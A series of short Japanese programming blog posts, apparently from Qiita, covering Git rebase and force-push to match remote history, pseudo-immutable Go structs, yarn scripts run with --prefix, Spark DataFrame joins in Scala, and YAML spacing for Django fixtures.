[^1]: 言語は異なるが、Python で pyenv, venv, pipenv, anaconda, conda, docker に遭遇してきたので、善し悪しの話よりも使える状態に持っていくことが優先である

[^2]: 実際、2021/09 時点では稀 (年間にして 1week ほど) にしか JavaScript や Node.js を使わないため、これらを使用するときには毎回 n、npm、yarn のメモを毎回読み返している.
【Github】Github(リモート)のhistoryにローカル上を合わせる方法

<h1>背景</h1>

こんにちは。エンジニアのたまご、風見優人です。
Githubってエラーが起きたりして厄介な存在じゃないかと
プログラミング初心者は思っているのではないでしょうか？

私もそんな悩みを抱えているプログラマー卵初心者ですｗ

こんなエラーが起きたので、
どうやって解消するかを解説していけたらと思います。

<h1>コミットの履歴が違うがために起きたエラー</h1>

まず初めに...リモートにプッシュしようとすると
リモートとローカル上のコミットの歴史(history)が違うがために
エラーが発生してしまいました。

<h2>原因</h2>

私としたことが、通常であればリモートレポジトリーを
github上で作成をしたらローカル上から初めてのpushを
リモートにすると思うのですが...

私は先にgithub上でreadmeファイルをコミットしてから
そのあとにローカルからrails newで作成したファイル一式を
リモートにpushを試みたのです。

(おいおい、そりゃローカルとリモートのコミットの歴史が
 違うのでpushできずにエラーになってまうわいww)

<h1>解決方法</h1>

REBASEを使用せよ！

そんで、それってどうやって直すの？
って話になると思うのですが

Gitのコマンドには便利な機能があって
REBASE機能をつかうことでリモートのコミットの歴史と
同じ状態にローカルもすることができるんですね～。

<h2>コマンド実行順番</h2>

①　git pull --rebase origin main
⇒ mainの部分はリモートにある履歴を一致させたい
　 ブランチ名に合わせましょう。
　　(人によってはmainではなくてmasterとかの人もいるかもしれません)

  上記コマンドをすることで
　リモートの履歴をローカルの履歴を合わせられます。

② git status
⇒ git statusでどのファイルがローカルの
　 ステージングに上がっているのか上がっていないのか
　 チェックをします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1810522/caef81c4-436f-3bad-508e-f482b0a4c437.png)

こんな感じにステージングされていない
ファイルは赤く表示されますよ♪

③ ファイルを修正
今回は赤くなってしまったファイルが
もともとあったローカルのファイルと
コンフリクトを起こしてしまったので
コンフリクトが起きたファイルを開いて修正します。

④ git diff ファイル名
これをすることで修正したファイルの
差分を確認することができます。

⑤ git add ファイル名
今回の場合はファイル名はコンフリクトが起きた
README.mdファイルになります。

git add をしてステージングに乗せてください。

⑥ git rebase --continue
これをすると、rebaseの状態から抜け出すことができます。

⑦ ESC :q　で変な画面から脱出
変な画面が出るので
ESCを押して、一番下の行に:qをいれて
enterでぬけだしてください。

⑧ git push origin -f ブランチ名
最後にリモートにプッシュするのですが
pushする際に通常のプッシュでは
rebaseした時点で過去の履歴を強制的に合わせたと
ローカルが判断しpushできない状態になのです..

なので強制的にpushします！

-fは強制プッシュのやり方です。

これにて、リモートのコミット歴とローカルのコミット歴が
一致したことになりました。

<h1>まとめ</h1>

・リモートのコミット歴に合わせる際はrebaseを使用せよ
・rebaseをするとローカルからリモートにプッシュできなくなるので
　強制プッシュをせよ

参考になりましたら、
いいねとチャンネル登録を宜しくお願いいたします！
(youtuberか？！ｗｗｗｗ)

LGTMを押していただけるとモチベーションUPに繋がります＾＾
不変（readOnly）が存在しないGo言語で、どうやって構造体の持つ値を不変にするか？

# Go言語には不変（readOnly） を示すことができない
広く知られていることですが、Go言語は指定した変数などを不変にするための機能を持っていません。

プログラムを書く点においては割と重要で、実際にコミュニティでも議論されているようです。
https://github.com/golang/go/issues/32245

では現行のGo言語で不変な構造体を作成するにはどうすればいいのでしょうか？簡単に作成してみました。

# 別パッケージに定義し、外部から参照できないようにする

Go言語では構造体を定義する時に、頭文字を大文字にするか小文字にするかで外部のパッケージからその値が参照できるかどうかを決定します。
そこで、今回の主題である構造体自体を別パッケージに定義し、閉じ込めることで実現してみました。

```main.go
package main

import "fmt"
import "~/money"

func main() {
	Money := money.NewMoney(100, "doll")
	fmt.Println(Money)
}

```

```money/money.go
package money

type money struct {
	amount int
	currency string
}

func NewMoney(amount int, currency string) *money {
	if currency == "" {
		panic("currency を入力してください")
	}
	return &money{
		amount: amount,
		currency: currency,
	}
}
```

こうすることで、moneyパッケージ外からmoney 構造体の値を参照することができなくなるため、擬似的に不変な構造体を作成できます。

しかし、あくまでパッケージ外からの取得をできなくさせるだけなので、同一パッケージからは参照することができてしまうため、あくまで擬似的な不変性しかもたせる　ことができませんでした。



上記以外にも上手いやり方があると思います。
もし他に良いやり方を知っている方がいればぜひコメントして教えていただきたいです。
プロジェクトルートで「yarn」を使用し、下位フォルダのpackage.jsonをまとめて実行する


#■ディレクトリ構成
```
root
 |-package.json
 |-dir1
    |-package.json
 |-dir2
    |-package.json
 |-dir3
    |-package.json
```

#■ルートディレクトリの「package.json」

下位フォルダの「package.json」を実行する場合、「prefix」オプションが使用できます。

```package.json
{
  "scripts": {
    "dev": "run-p dev:*",
    "dev:dir1": "npm run dev --prefix dir1",
    "dev:dir2": "npm run dev --prefix dir2",
    "dev:dir3": "npm run dev --prefix dir3"
}
```

#■ルートでコマンド実行

:::note info
下記で dir1 & dir2 & dir3 配下の package.json が並列で実行されます。
:::

```bash
yarn dev
```

#■関連
https://qiita.com/error484/items/9891d0027ab27b84e19b
scala sparkの勉強備忘録③ ~dataframeの結合~

## dataframeの結合
```
dataDF.join(dataDFother, dataDF("name") === dataDFother("name"), "inner").show()
```
結合の方法にはよくあるinnerやleftouter, rightouter, fullouterの他にleftsemiやleftantiがある
どのようなものかは以下の通り

```
scala> dataDF.show()
+------+---+----------+
|  name|age|  birthday|
+------+---+----------+
|Brooke| 20|2001-06-19|
|  Bake| 25|1996-07-25|
| Denny| 31|1990-08-16|
| Jules| 30|1991-05-25|
|    TD| 35|1986-07-26|
+------+---+----------+

scala> dataDFother.show()
+------+---+----------+
|  name|age|  birthday|
+------+---+----------+
|Brooke| 20|2001-06-19|
|  Bake| 25|1996-07-25|
| Denny| 31|1990-08-17|
|   Jon| 30|1991-07-25|
|    AK| 35|1986-07-29|
+------+---+----------+

scala> dataDF.join(dataDFother, dataDF("name") === dataDFother("name"), "leftsemi").show()
+------+---+----------+
|  name|age|  birthday|
+------+---+----------+
|Brooke| 20|2001-06-19|
|  Bake| 25|1996-07-25|
| Denny| 31|1990-08-16|
+------+---+----------+
# leftsimiは左右に共通するkeyを持つ行の左側データのみを出す

scala> dataDF.join(dataDFother, dataDF("name") === dataDFother("name"), "leftanti").show()
+-----+---+----------+
| name|age|  birthday|
+-----+---+----------+
|Jules| 30|1991-05-25|
|   TD| 35|1986-07-26|
+-----+---+----------+
# leftantiは左側のデータのうち左右で共通しない行を出す
```
この様にleftsemiとleftantiは結合というより抽出の様なイメージである

```
scala> dataDF.join(dataDFother, dataDF("name") === dataDFother("name") and dataDF("birthday") === dataDFother("birthday"), "inner").show()
+------+---+----------+------+---+----------+
|  name|age|  birthday|  name|age|  birthday|
+------+---+----------+------+---+----------+
|Brooke| 20|2001-06-19|Brooke| 20|2001-06-19|
|  Bake| 25|1996-07-25|  Bake| 25|1996-07-25|
+------+---+----------+------+---+----------+
# keyを複数にするときはandで繋ぐ

scala> dataDF.join(dataDFother, dataDF("name") === dataDFother("name") or dataDF("birthday") === dataDFother("birthday"), "inner").show()
+------+---+----------+------+---+----------+
|  name|age|  birthday|  name|age|  birthday|
+------+---+----------+------+---+----------+
|Brooke| 20|2001-06-19|Brooke| 20|2001-06-19|
|  Bake| 25|1996-07-25|  Bake| 25|1996-07-25|
| Denny| 31|1990-08-16| Denny| 31|1990-08-17|
+------+---+----------+------+---+----------+
#orでもできる

scala> dataDF.join(dataDFother, dataDF("name") === dataDFother("name") & dataDF("birthday") === dataDFother("birthday"), "inner").show()
<console>:35: error: value & is not a member of org.apache.spark.sql.Column
       dataDF.join(dataDFother, dataDF("name") === dataDFother("name") & dataDF("birthday") === dataDFother("birthday"), "inner").show()
#記号じゃダメらしい
```
djangoにyaml形式で自動入力する注意点

「速習 Django 3 速習シリーズ」4章　4.1.2フィクスチャ実行がうまくいかず、その後自己解決した経緯です。書籍の趣旨はyaml形式のデータをdjangoのsqlite3に自動で入力するというものです。


書籍にはyamlはインデントと記号に意味があり、スペースと「-」や「:」には文例をそのまま記述するようにありました。
また行頭のスペースの数は統一がされていれば自由とのこと。

書籍通りにyamlを作成し実行したがエラー発生。
エラーと思われる表示は次の2つ。
yaml.scanner.ScannerError（コンソール中間あたり）
django.core.serializers.base.DeserializaionError（コンソールの最下行）

解決策として、yamlには「-」や「:」の後には半角スペースが1つ必要とのこと。
半角スペースを挿入し実行したら成功。
Installed 1 object(s) from 1 fixture(s)

自分の備忘録かねて記録しておきます。
解釈違い、補足などあればコメントいただければ幸いです。